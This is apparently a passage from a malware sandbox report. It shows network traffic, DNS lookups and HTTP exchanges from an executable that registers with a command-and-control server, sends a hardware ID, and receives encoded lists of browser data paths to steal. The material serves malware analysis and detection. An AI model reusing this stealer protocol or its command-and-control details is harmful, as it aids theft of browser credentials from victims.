Nov 17, 2024 10:07:42.550669909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550684929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550690889 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.550703049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550705910 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.550719023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550734997 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550740004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.550750971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550757885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.550766945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550782919 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.550786972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.550801039 CET	80	49892	185.215.113.206	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 17, 2024 10:07:21.358151913 CET	192.168.2.6	1.1.1.1	0xbe25	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:21.358289957 CET	192.168.2.6	1.1.1.1	0x94ee	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:24.746107101 CET	192.168.2.6	1.1.1.1	0x125b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:24.746342897 CET	192.168.2.6	1.1.1.1	0x2c2a	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:25.740255117 CET	192.168.2.6	1.1.1.1	0xc13c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:25.740622997 CET	192.168.2.6	1.1.1.1	0x3932	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:31.848298073 CET	192.168.2.6	1.1.1.1	0xc7d7	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:31.848531961 CET	192.168.2.6	1.1.1.1	0x4600	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:32.944978952 CET	192.168.2.6	1.1.1.1	0xe329	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:32.945138931 CET	192.168.2.6	1.1.1.1	0x7625	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 10:07:34.387928963 CET	192.168.2.6	1.1.1.1	0x9816	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.388072968 CET	192.168.2.6	1.1.1.1	0x23c	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:34.402782917 CET	192.168.2.6	1.1.1.1	0x978e	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.402888060 CET	192.168.2.6	1.1.1.1	0xba02	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:34.407708883 CET	192.168.2.6	1.1.1.1	0x8107	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.407879114 CET	192.168.2.6	1.1.1.1	0x434f	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:34.413579941 CET	192.168.2.6	1.1.1.1	0xb8b2	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.413733959 CET	192.168.2.6	1.1.1.1	0x622d	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:35.901113033 CET	192.168.2.6	1.1.1.1	0x9e4b	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:35.901269913 CET	192.168.2.6	1.1.1.1	0xf4a3	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:36.246572018 CET	192.168.2.6	1.1.1.1	0xfb3b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.246730089 CET	192.168.2.6	1.1.1.1	0xc5b6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:36.247116089 CET	192.168.2.6	1.1.1.1	0x62a9	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.247353077 CET	192.168.2.6	1.1.1.1	0x1f07	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 10:07:36.253503084 CET	192.168.2.6	1.1.1.1	0x5ff8	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.253962040 CET	192.168.2.6	1.1.1.1	0x8adc	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 10:08:33.974440098 CET	192.168.2.6	1.1.1.1	0xbfb5	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:08:33.974591970 CET	192.168.2.6	1.1.1.1	0x5141	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false
Nov 17, 2024 10:09:13.326261997 CET	192.168.2.6	1.1.1.1	0x729a	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.566453934 CET	192.168.2.6	1.1.1.1	0x2b05	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.566600084 CET	192.168.2.6	1.1.1.1	0xea5a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 10:09:23.612365007 CET	192.168.2.6	1.1.1.1	0xcd8f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.612996101 CET	192.168.2.6	1.1.1.1	0x967a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 17, 2024 10:09:23.613215923 CET	192.168.2.6	1.1.1.1	0x8189	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.613316059 CET	192.168.2.6	1.1.1.1	0xaa2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 17, 2024 10:07:21.364840984 CET	1.1.1.1	192.168.2.6	0xbe25	No error (0)	www.google.com		142.250.185.196	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:21.365123987 CET	1.1.1.1	192.168.2.6	0x94ee	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 17, 2024 10:07:24.753851891 CET	1.1.1.1	192.168.2.6	0x2c2a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:24.754106045 CET	1.1.1.1	192.168.2.6	0x125b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:24.754106045 CET	1.1.1.1	192.168.2.6	0x125b	No error (0)	plus.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:25.914782047 CET	1.1.1.1	192.168.2.6	0xc13c	No error (0)	play.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:31.855381966 CET	1.1.1.1	192.168.2.6	0xc7d7	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:31.856147051 CET	1.1.1.1	192.168.2.6	0x4600	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:31.954327106 CET	1.1.1.1	192.168.2.6	0xea95	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:31.954327106 CET	1.1.1.1	192.168.2.6	0xea95	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:31.954446077 CET	1.1.1.1	192.168.2.6	0xff32	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:32.952047110 CET	1.1.1.1	192.168.2.6	0xe329	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:32.952560902 CET	1.1.1.1	192.168.2.6	0x7625	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:34.395284891 CET	1.1.1.1	192.168.2.6	0x9816	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.395284891 CET	1.1.1.1	192.168.2.6	0x9816	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.395284891 CET	1.1.1.1	192.168.2.6	0x9816	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.395284891 CET	1.1.1.1	192.168.2.6	0x9816	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:34.409622908 CET	1.1.1.1	192.168.2.6	0xba02	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:34.409866095 CET	1.1.1.1	192.168.2.6	0x978e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:34.415011883 CET	1.1.1.1	192.168.2.6	0x434f	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:34.416822910 CET	1.1.1.1	192.168.2.6	0x8107	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:34.420438051 CET	1.1.1.1	192.168.2.6	0xb8b2	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:34.420475960 CET	1.1.1.1	192.168.2.6	0x622d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:35.909187078 CET	1.1.1.1	192.168.2.6	0x9e4b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:35.909187078 CET	1.1.1.1	192.168.2.6	0x9e4b	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.65	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:35.918248892 CET	1.1.1.1	192.168.2.6	0xf4a3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:07:36.253563881 CET	1.1.1.1	192.168.2.6	0xfb3b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.253563881 CET	1.1.1.1	192.168.2.6	0xfb3b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.253684998 CET	1.1.1.1	192.168.2.6	0xc5b6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 10:07:36.253772974 CET	1.1.1.1	192.168.2.6	0x62a9	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.253772974 CET	1.1.1.1	192.168.2.6	0x62a9	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.254215002 CET	1.1.1.1	192.168.2.6	0x1f07	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 10:07:36.260593891 CET	1.1.1.1	192.168.2.6	0x5ff8	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.260593891 CET	1.1.1.1	192.168.2.6	0x5ff8	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:07:36.260937929 CET	1.1.1.1	192.168.2.6	0x8adc	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 10:08:33.982422113 CET	1.1.1.1	192.168.2.6	0x5141	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:08:33.982472897 CET	1.1.1.1	192.168.2.6	0xbfb5	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 17, 2024 10:09:13.376956940 CET	1.1.1.1	192.168.2.6	0x729a	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:13.376956940 CET	1.1.1.1	192.168.2.6	0x729a	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.573756933 CET	1.1.1.1	192.168.2.6	0x2b05	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.573756933 CET	1.1.1.1	192.168.2.6	0x2b05	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.574407101 CET	1.1.1.1	192.168.2.6	0xea5a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 10:09:23.619374990 CET	1.1.1.1	192.168.2.6	0xcd8f	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.619374990 CET	1.1.1.1	192.168.2.6	0xcd8f	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.619870901 CET	1.1.1.1	192.168.2.6	0x967a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 17, 2024 10:09:23.620156050 CET	1.1.1.1	192.168.2.6	0x8189	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.620156050 CET	1.1.1.1	192.168.2.6	0x8189	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 17, 2024 10:09:23.620188951 CET	1.1.1.1	192.168.2.6	0xaa2	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49726	185.215.113.206	80	6264	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 10:07:15.335408926 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 17, 2024 10:07:16.228754997 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 17, 2024 10:07:16.232630968 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 38 38 42 37 36 45 37 36 36 39 33 31 39 36 39 33 34 38 38 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="hwid"1088B76E76693196934881------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="build"mars------GDHDHJEBGHJKFIECBGCB--
Nov 17, 2024 10:07:16.528295040 CET	407	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 47 49 79 5a 47 55 30 5a 44 63 30 4d 44 4a 6d 4f 57 4d 78 4f 57 55 77 5a 57 4d 7a 5a 47 4d 35 59 6a 46 6b 59 6d 4e 69 59 54 6c 6b 4d 7a 4d 35 4d 7a 56 6a 5a 6d 4e 68 4d 57 59 79 5a 47 51 78 59 32 49 78 59 7a 42 69 5a 47 49 35 4e 32 4d 79 59 6d 45 77 4f 57 51 7a 5a 47 4d 32 59 57 46 69 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MGIyZGU0ZDc0MDJmOWMxOWUwZWMzZGM5YjFkYmNiYTlkMzM5MzVjZmNhMWYyZGQxY2IxYzBiZGI5N2MyYmEwOWQzZGM2YWFifHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 17, 2024 10:07:16.529704094 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="message"browsers------AFCBKFHJJJKKFHIDAAKF--
Nov 17, 2024 10:07:16.974292040 CET	1236	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:16 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 17, 2024 10:07:16.974311113 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 17, 2024 10:07:16.974332094 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 17, 2024 10:07:16.974459887 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 17, 2024 10:07:17.099706888 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 62 32 64 65 34 64 37 34 30 32 66 39 63 31 39 65 30 65 63 33 64 63 39 62 31 64 62 63 62 61 39 64 33 33 39 33 35 63 66 63 61 31 66 32 64 64 31 63 62 31 63 30 62 64 62 39 37 63 32 62 61 30 39 64 33 64 63 36 61 61 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="token"0b2de4d7402f9c19e0ec3dc9b1dbcba9d33935cfca1f2dd1cb1c0bdb97c2ba09d3dc6aab------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="message"plugins------HJDHCFCBGIDGHJJKJJDG--
